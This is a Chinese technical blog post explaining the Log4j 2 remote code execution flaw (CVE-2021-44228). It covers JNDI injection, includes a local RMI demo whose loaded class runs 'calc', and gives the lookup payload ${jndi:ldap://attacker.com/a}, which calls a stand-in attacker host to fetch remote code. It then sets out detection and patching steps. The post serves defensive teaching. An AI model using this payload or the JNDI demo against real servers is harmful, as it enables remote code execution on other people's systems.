当前位置:网站首页>Apache Log4j 2 远程代码执行漏洞详解
Apache Log4j 2 远程代码执行漏洞详解
2022-08-09 09:44:00 【SimpleAstronaut】
Post Views: 573
Apache Log4j 2 远程代码执行漏洞详解
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0 正式版本。
资料来源:
阿里云漏洞预警
360安全漏洞报告
腾讯安全
1.预备知识
1.1 Apache
Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。
1.2 log4j
Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
1.3 JNDI注入
1.3.1 JNDI
JNDI(全称Java Naming and Directory Interface)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。与与主机系统接口的所有Java api一样,JNDI独立于底层实现。此外,它指定了一个服务提供者接口(SPI),该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供,选择取决于所使用的实现。
1.3.2 JNDI注入
JNDI注入简单来说就是在JNDI接口在初始化时,如:InitialContext.lookup(URI),如果URI可控,那么客户端就可能会被攻击
1.3.3 RMI
通过RMI进行JNDI注入,攻击者构造的恶意RMI服务器向客户端返回一个Reference对象,Reference对象中指定从远程加载构造的恶意Factory类,客户端在进行lookup的时候,会从远程动态加载攻击者构造的恶意Factory类并实例化,攻击者可以在构造方法或者是静态代码等地方加入恶意代码。
javax.naming.Reference构造方法为:Reference(String className, String factory, String factoryLocation),
className– 远程加载时所使用的类名classFactory– 加载的class中需要实例化类的名称classFactoryLocation– 提供classes数据的地址可以是file/ftp/http等协议
因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper对Reference的实例进行一个封装。
服务端代码如下
package demo;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry= LocateRegistry.createRegistry(7777);
Reference reference = new Reference("test", "test", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
}
}恶意代码(test.class),将其编译好放到可访问的http服务器
import java.lang.Runtime;
public class test{
public test() throws Exception{
Runtime.getRuntime().exec("calc");
}
}当客户端通过InitialContext().lookup("rmi://127.0.0.1:7777/calc")获取远程对象时,会执行我们的恶意代码
package demo;
import javax.naming.InitialContext;
public class JNDI_Test {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("rmi://127.0.0.1:7777/calc");
}
}调用栈如下
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:411, InitialContext (javax.naming)
main:7, JNDI_Test (demo)1.3.4 JNDI触发 Apache Log4j2
Apache Log4j2 远程代码执行漏洞的详细信息已被披露,而经过分析,本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。
攻击原理:(来源 https://www.zhihu.com/question/504998020/answer/2265112632)
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
string userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}根据上面提供的攻击代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。
攻击步骤
- 攻击者向漏洞服务器发起攻击请求。
- 服务器通过Log4j2记录攻击请求中包含的基于JNDI和LDAP的恶意负载
${jndi:ldap://attacker.com/a},attacker.com是攻击者控制的地址。 - 记录的恶意负载被触发,服务器通过JNDI向
attacker.com请求。 attacker.com就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class。- 攻击者执行恶意脚本。
2.漏洞处理
漏洞评级
CVE-2021-44228 Apache Log4j 远程代码执行漏洞 严重
影响版本
Apache Log4j 2.x < 2.15.0
2.1 内部自查
2.1.1 项目依赖版本检测
检测pom依赖版本是否低于 2.15.0
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
</dependencies>检测gradle依赖版本是否低于 2.15.0
dependencies {
compile group: 'org.apache.logging.log4j', name: 'log4j-api', version: '2.15.0'
compile group: 'org.apache.logging.log4j', name: 'log4j-core', version: '2.15.0'
} 检测Ivy依赖版本是否低于 2.15.0
<dependencies>
<dependency org="org.apache.logging.log4j" name="log4j-api" rev="2.15.0" />
<dependency org="org.apache.logging.log4j" name="log4j-core" rev="2.15.0" />
</dependencies>检测SBT依赖版本是否低于 2.15.0
libraryDependencies += "org.apache.logging.log4j" % "log4j-api" % "2.15.0"
libraryDependencies += "org.apache.logging.log4j" % "log4j-core" % "2.15.0"若没有使用上述工具,那么可以全局搜索项目中是否存在log4j的相关jar包,并通过jar包中的/META-INF/MANIFEST.MF文件查看log4j的版本。
2.1.2 日志/流量排查
\1. 排查日志或者解码后完整的请求数据包中是否存在${jndi:关键字。
\2. 排查日志是否存在相关堆栈报错,堆栈里是否有JndiLookup、ldapURLContext、getObjectFactoryFromReference等与 jndi 调用相关的堆栈信息。
2.2 修复
1、排查应用是否引入了Apache log4j-core Jar包,若存在依赖引入,且在受影响版本范围内,则可能存在漏洞影响。请尽快升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0 版本,地址 https://logging.apache.org/log4j/2.x/download.html
2、升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink
3、临时缓解方案。可升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上,可以在一定程度上限制JNDI等漏洞利用方式。对于大于2.10版本的Log4j,可设置 log4j2.formatMsgNoLookups 为 True,或者将 JndiLookup 类从 classpath 中去除,例如 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
2.2.1通用修补
升级到最新版本 2.15.0-rc2 :
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
2.2.2临时修补建议
- 设置JVM启动参数
-Dlog4j2.formatMsgNoLookups=true。 - 尽量使用JDK 版本大于11.0.1、8u191、7u201、6u211,需要注意的是,即使是使用了 JDK 高版本也不能完全保证安全,依然存在本地绕过的情况。
- 限制不必要的业务访问外网。
- 采用 rasp 对
lookup的调用进行阻断。 - 采用 waf 对请求流量中的
${jndi进行拦截。
边栏推荐
猜你喜欢

try catch 对性能影响

EndNote使用指南

OSCS开源软件安全周报,一分钟了解本周开源软件安全大事

字符串

在anaconda环境中配置cuda和cudnn

搭建Tigase进行二次开发
![[ASM] Bytecode operation MethodVisitor case combat generation object](/img/a9/df07614f875794d55d530bd04dc476.jpg)
[ASM] Bytecode operation MethodVisitor case combat generation object
![[Personal study summary] CRC verification principle and implementation](/img/99/ae0862522cd0d1c8f45604b9cd88c5.png)
[Personal study summary] CRC verification principle and implementation
Do you know the principles of test cases and how to write defect reports?

How much do you know about the mobile APP testing process specifications and methods?
随机推荐
EndNoteX9 OR X 20 Guide
Golang Protobuf 处理
LeetCode56:合并区间 C语言解法,注解详细 一看就懂!
通过程序发送 Gmail 邮件
Go-goroutine 的那些事
归并排序
WAVE SUMMIT 2022深度学习开发者峰会
【八大排序④】归并排序、不基于比较的排序(计数排序、基数排序、桶排序)
Command line query database
迭代
1.线程简介
Go-指针的那些事
Tom Morgan | 人生二十一条法则
Openwrt配置Aria2(Hg255d)
Arrays类、冒泡排序、选择排序、插入排序、稀疏数组!
try catch 对性能影响
8. Recursively traverse and delete cases
map去重代码实现
2.Collection interface
7.Collections工具类